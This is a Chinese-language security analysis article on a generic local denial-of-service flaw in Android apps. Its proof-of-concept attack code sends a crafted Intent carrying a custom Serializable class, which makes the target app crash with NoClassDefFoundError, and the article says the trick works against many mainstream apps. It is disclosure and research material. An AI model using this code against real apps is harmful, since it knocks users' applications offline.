Android APP通用型拒绝服务、漏洞分析报告 AndroidAPP漏洞分析
点评:记得曾经有段时间很多SRC平台被刷了大量APP本地拒绝服务漏洞,移动安全团队爱内测(ineice.com)发现了一个安卓客户端的通用型拒绝服务漏洞,来看看他们的详细分析吧。
0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞。该通用型本地拒绝服务可以造成大面积的app拒绝服务。
针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,恶意应用可以通过传入畸形数据,导致应用本地拒绝服务。
漏洞应用代码片段:
1 |
Intent i = getIntent(); |
2 |
if(i.getAction().equals("serializable_action")){ |
3 |
i.getSerializableExtra("serializable_key"); //未做异常判断 |
4 |
} |
攻击应用代码片段:
1 |
Intent i = newIntent(); |
2 |
i.setAction("serializable_action"); |
3 |
i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity"); |
4 |
i.putExtra("seriadddddlizable_dkey",XXX); //此处是传入畸形数据 |
5 |
startActivity(i); |
比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException。
但后来交流中发现,当传入一个自定义的序列化对象Serializable或getParcelable对象时,接收Intent的目标组件在getSerializableExtra()、getParcelable()等会抛出类未定义的异常java.lang.NoClassDefFoundError。这是因为当你给漏洞应用传入一个应用本身并没有的序列化类对象,在应用上下文中肯定是找不到这个类的。
自定义的序列化类很简单:
1 |
publicclassDataSchema implementsSerializable { |
2 |
privatestaticfinallongserialVersionUID = -3601187837704976264L; |
3 |
publicDataSchema() { |
4 |
super(); |
5 |
} |
6 |
} |
对应的攻击代码中XXX处传入new DataSchema(),我们发现传入的key不管是否与漏洞应用相同,都会抛出类未定义的异常。
随着测试的深入,我们通过logcat发现,在错误日志里不一定是getSerializableExtra()、getParcelable()导致的。然后我们就延伸了下,试着向getXXXExtra()传入我们自定义的序列化类对象,发现都会抛出类未定义的异常。
测试app代码片段:
1 |
protectedvoidonCreate(Bundle savedInstanceState) { |
2 |
Intent intent = getIntent(); |
3 |
intent.getStringExtra("ROIS"); //此处依然会由于NoClassDefFoundError crash |
4 |
} |
接着我们测试了市面上大量主流应用,涵盖BAT等。发现这种方法可以通杀。我们开始觉得这个是android本身的问题,开始翻源代码。
01 |
publicString getStringExtra(String name) { |
02 |
returnmExtras == null? null: mExtras.getString(name); |
03 |
} |
04 |
/frameworks/base/core/java/android/os/Bundle.java |
05 |
publicString getString(String key) { |
06 |
unparcel(); //处理数据 |
07 |
... |
08 |
} |
09 |
/* package */synchronizedvoidunparcel() { |
10 |
... |
11 |
mParcelledData.readMapInternal(mMap, N, mClassLoader); |
12 |
... |
13 |
} |
14 |
|
15 |
/frameworks/base/core/java/android/os/Parcel.java |
16 |
readMapInternal解析传递进来的数据 |
上一篇: css:focus伪类的使用